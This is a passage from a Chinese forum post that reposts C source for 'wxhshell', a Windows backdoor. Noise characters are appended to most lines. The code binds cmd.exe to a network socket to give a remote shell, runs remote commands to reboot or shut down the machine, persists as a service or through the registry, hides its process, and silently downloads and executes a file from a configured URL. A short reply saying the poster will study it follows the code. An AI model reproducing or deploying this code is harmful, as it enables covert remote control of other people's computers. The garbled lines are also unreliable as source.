  else go"Hf_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0;ji65  
  } C $JmzrE  
  else { @o6L6Y0Naa  
=ruao'A  
    switch(cmd[0]) { `@ FYkH  
  _?OG1t!  
  // 帮助 7yba04D)  
  case '?': { x;')9/3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hzRYec(  
    break; nLiY%x`S  
  } [PM4k0YC8  
  // 安装 'ah[(F<*@e  
  case 'i': { rt| 7h>RQ  
    if(Install()) <o= 8 FO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z~Q>V]a>;  
    else ; Hd7*`$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f`/x"@~H5  
    break; +@:x!q|^  
    } 3Hm/(C  
  // 卸载 3{h_&Gbo'D  
  case 'r': { pBPl6%C.X-  
    if(Uninstall()) n}77##+R&C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2[;_d;oB@  
    else ~WN:DXn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jq^T1_iqn  
    break; L~>i,  
    } XS BA$y  
  // 显示 wxhshell 所在路径 p[lA\@l[  
  case 'p': { fg{n(TE"8  
    char svExeFile[MAX_PATH]; +t:0SRSt  
    strcpy(svExeFile,"\n\r"); pO.2<  
      strcat(svExeFile,ExeFile);  v<:R#  
        send(wsh,svExeFile,strlen(svExeFile),0); +&"zU GTIc  
    break; 4 N7^?  
    } $D UZ!zaH!  
  // 重启 &l[$*<P5V  
  case 'b': { AnvRxb.e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F.v{-8GV  
    if(Boot(REBOOT)) ;xs"j-r/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zZC9\V}R  
    else { 14'45  
    closesocket(wsh); 7( 2{'r  
    ExitThread(0); :$9tF >  
    } E`k@{*Hn&  
    break; 0k(a VkZ I  
    } K:Q<CQ2  
  // 关机 BIWWMg  
  case 'd': { dmN&+t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E1U",CMU  
    if(Boot(SHUTDOWN)) *U\`CXn;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a+T.^koY  
    else { QW~1%`  
    closesocket(wsh); QS]1daMIK<  
    ExitThread(0); Sa`Xf\  
    } 5RpjN: 3  
    break; we?76t:-  
    } {3{"8-18  
  // 获取shell oD1/{dRzj  
  case 's': { :'&brp3ii=  
    CmdShell(wsh); r!a3\ep  
    closesocket(wsh); a,#j =  
    ExitThread(0); L4|`;WP  
    break; c#tjp(-  
  } Eue~Y+K*b  
  // 退出 yw3$2EW  
  case 'x': { fCobzDy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ; XN{x  
    CloseIt(wsh); 4^OY C  
    break; ["e3Ez  
    } GU8sO@S5#  
  // 离开 {9aE5kR  
  case 'q': { *lw_=MXSK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); oW Nh@C  
    closesocket(wsh); T+k{W6  
    WSACleanup(); l9u!aD  
    exit(1); WoRZW%  
    break; 'B0{_RaTb  
        } EeRX+BM,  
  } Jh[UtYb5  
  } 9dUravC7  
*zL}&RUKM  
  // 提示信息 zEyN)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gc;{\VU  
} =k0_eX0  
  } 25[I=ZdS  
P8)=Kbd  
  return; aL&7 1^R,  
} u'W8;G*~  
Hi1JLW,  
// shell模块句柄 6WJ)by  
int CmdShell(SOCKET sock) f-n1I^|  
{ hPePB=  
STARTUPINFO si; Pjjewy1}^  
ZeroMemory(&si,sizeof(si)); ssxzC4m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M={V|H0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $!yW_HTx  
PROCESS_INFORMATION ProcessInfo; emPM4iG?!  
char cmdline[]="cmd"; |BC/ERms  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4dgo*9  
  return 0; }+F&=-P)  
} DMcH, _(  
KbcmK( `_  
// 自身启动模式 ]8c%)%Vi  
int StartFromService(void) 7SyysH<H  
{ .EXe3!J)!  
typedef struct )yj:P  
{ h5do?b v!  
  DWORD ExitStatus; d`g)(*  
  DWORD PebBaseAddress; /p PSo  
  DWORD AffinityMask; .C=I~Z  
  DWORD BasePriority; b)e';M  
  ULONG UniqueProcessId; T0Kjnzs  
  ULONG InheritedFromUniqueProcessId; WA$Ug  
}   PROCESS_BASIC_INFORMATION; + bU*"5"  
]w+n39da  
PROCNTQSIP NtQueryInformationProcess; dHUcu@,  
L#}HeOEi[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1\{_bUZ&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [l7 G9T}/[  
F70_N($i  
  HANDLE             hProcess; 4L`<xX;:{  
  PROCESS_BASIC_INFORMATION pbi; t V:oBT*  
VOY#Y*)g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;G=:>m~  
  if(NULL == hInst ) return 0; dTwZ-%  
w9c^IS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5J1q]^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %_>+K;<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [Up0<`Q{I_  
M#U#I :z%  
  if (!NtQueryInformationProcess) return 0; R'Y=- yF  
/ad]pdF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ee7{5  
  if(!hProcess) return 0; :-.K.Ch|:  
jb5nL`(j$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L( B(x>w  
M*xt9'Yd  
  CloseHandle(hProcess); r'GD  
Naqz":%.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `Qg#`  
if(hProcess==NULL) return 0; eKT'd#o2R  
i]L4kh5  
HMODULE hMod; `~.0PnHf  
char procName[255]; 2o\GU  
unsigned long cbNeeded; =64%eF  
`"#0\Wh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fK'qc L  
-$8M#n,  
  CloseHandle(hProcess); j. m(Z}  
|}O9'fyU8  
if(strstr(procName,"services")) return 1; // 以服务启动 tK$x=9M  
vA(')"DDT  
  return 0; // 注册表启动  Du*O|  
} ] SErM#$*  
R\+O.vX  
// 主模块 POouO/r$  
int StartWxhshell(LPSTR lpCmdLine) @NY$.K#]  
{ hny):59f  
  SOCKET wsl; o YZmz  
BOOL val=TRUE; &7gE=E(M  
  int port=0; v.aSf`K  
  struct sockaddr_in door; KioD/  
| gou#zi  
  if(wscfg.ws_autoins) Install(); X`QfOs#\  
3cp"UU}.  
port=atoi(lpCmdLine); L,QAE)S'a  
dE _I=v  
if(port<=0) port=wscfg.ws_port; dF- d  
'za4c4b*u  
  WSADATA data; 6-'Y*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4*<27  
2yFXX9!@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _*.Wo"[%[X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &>!WhC16  
  door.sin_family = AF_INET; kp+\3z_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N8Mq0Ck{$  
  door.sin_port = htons(port); ]('isq,P  
7;_./c_@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ` _+j+  
closesocket(wsl); !u} }V  
return 1; .-:R mYGR  
} o~Im5j],*  
^PCshb##  
  if(listen(wsl,2) == INVALID_SOCKET) { E+65  
closesocket(wsl); ?\7 " A  
return 1; TT(d CHft  
} LZ@4,Uj  
  Wxhshell(wsl); tXocGM {6C  
  WSACleanup(); qYMTud[Vf  
|!\(eLR9>  
return 0; hb>,\46}  
k^pf)*p  
} vM}oxhQ$n  
kCRP?sj  
// 以NT服务方式启动 >^@/Ba$h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S*o%#ZJN  
{ hr8v O"tZN  
DWORD   status = 0; &}1PH% 6  
  DWORD   specificError = 0xfffffff; |zV-a2K%J  
w*})ZYIUT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &b 2Vt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y@|gG&f T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J`ia6fy.I  
  serviceStatus.dwWin32ExitCode     = 0; e1dT~l  
  serviceStatus.dwServiceSpecificExitCode = 0; ,qgph^C  
  serviceStatus.dwCheckPoint       = 0; i0($@6Lh  
  serviceStatus.dwWaitHint       = 0; O)'Bx=S4Ke  
bP`.teO\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zY<=r.m4  
  if (hServiceStatusHandle==0) return; Xi'y-cV ^  
!\a'GO[  
status = GetLastError(); R4<}kA,.  
  if (status!=NO_ERROR) +8FlDiP  
{ i#t)tM"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uk u~"OGC  
    serviceStatus.dwCheckPoint       = 0; /-wAy-W  
    serviceStatus.dwWaitHint       = 0; m<>3GF,5bP  
    serviceStatus.dwWin32ExitCode     = status; b!Q|0X.?  
    serviceStatus.dwServiceSpecificExitCode = specificError; -.|V S|y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .0:t wj  
    return; +$:bzo_u  
  } -{i;!XE$SR  
R 2uo ZA,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SU.T0>w  
  serviceStatus.dwCheckPoint       = 0; =(ts~^  
  serviceStatus.dwWaitHint       = 0; .%7#o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N\?%944R  
} @~0kSA7  
 H  
// 处理NT服务事件,比如:启动、停止 Ml` f+$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) h_ef@ZwSw  
{ iha{(-  
switch(fdwControl) 0[@ 9f1Nk4  
{ sw{,l"]<  
case SERVICE_CONTROL_STOP: [6Y6{.%~  
  serviceStatus.dwWin32ExitCode = 0; l/,O9ur-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |'WaBy1  
  serviceStatus.dwCheckPoint   = 0; nj99!"_   
  serviceStatus.dwWaitHint     = 0; uM,bO*/f  
  { 8Czy<}S<G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iva&W  
  } i|PQNhUe  
  return; } )O ^xF ~  
case SERVICE_CONTROL_PAUSE: O;c;>x_dA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /Fej)WQp  
  break; l\7NR  
case SERVICE_CONTROL_CONTINUE: [$)C(1zY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >|%m#JG  
  break; 9E^IEwq'  
case SERVICE_CONTROL_INTERROGATE: 2'_xg~  
  break; [OBj2=  
}; 1UX"iO x(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .a\b_[+W  
} 9\RSJGx6  
YXxaD@  
// 标准应用程序主函数 S0nBX"$u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }Z*@EWc>  
{ p_S8m|%  
?1JVzZ4H  
// 获取操作系统版本 U^SJWYi<Y  
OsIsNt=GetOsVer(); ?ihkV? ;)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZKTOif}  
VH7VJ [  
  // 从命令行安装 X=)Ue  
  if(strpbrk(lpCmdLine,"iI")) Install(); N%!8I  
b[,J-/;JNL  
  // 下载执行文件 4VINu9\V  
if(wscfg.ws_downexe) { (y%}].[bB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k"F5'Od  
  WinExec(wscfg.ws_filenam,SW_HIDE); l<qK' P4  
} -o*IJQ_  
o5KpiibFM  
if(!OsIsNt) { o@j]yA.5)  
// 如果时win9x,隐藏进程并且设置为注册表启动 BYt#aqf  
HideProc(); :5hKE(3Q  
StartWxhshell(lpCmdLine); tr0P ;}=  
} ^T`)ltI]V  
else ?#"rI6  
  if(StartFromService()) 'EoJo9p6}  
  // 以服务方式启动 YL \d2  
  StartServiceCtrlDispatcher(DispatchTable); <a7y]Py  
else PPO*&=!]  
  // 普通方式启动 fH? e9E4l  
  StartWxhshell(lpCmdLine); R=P=?U.  
>2l1t}"\  
return 0; S 4uX utd  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八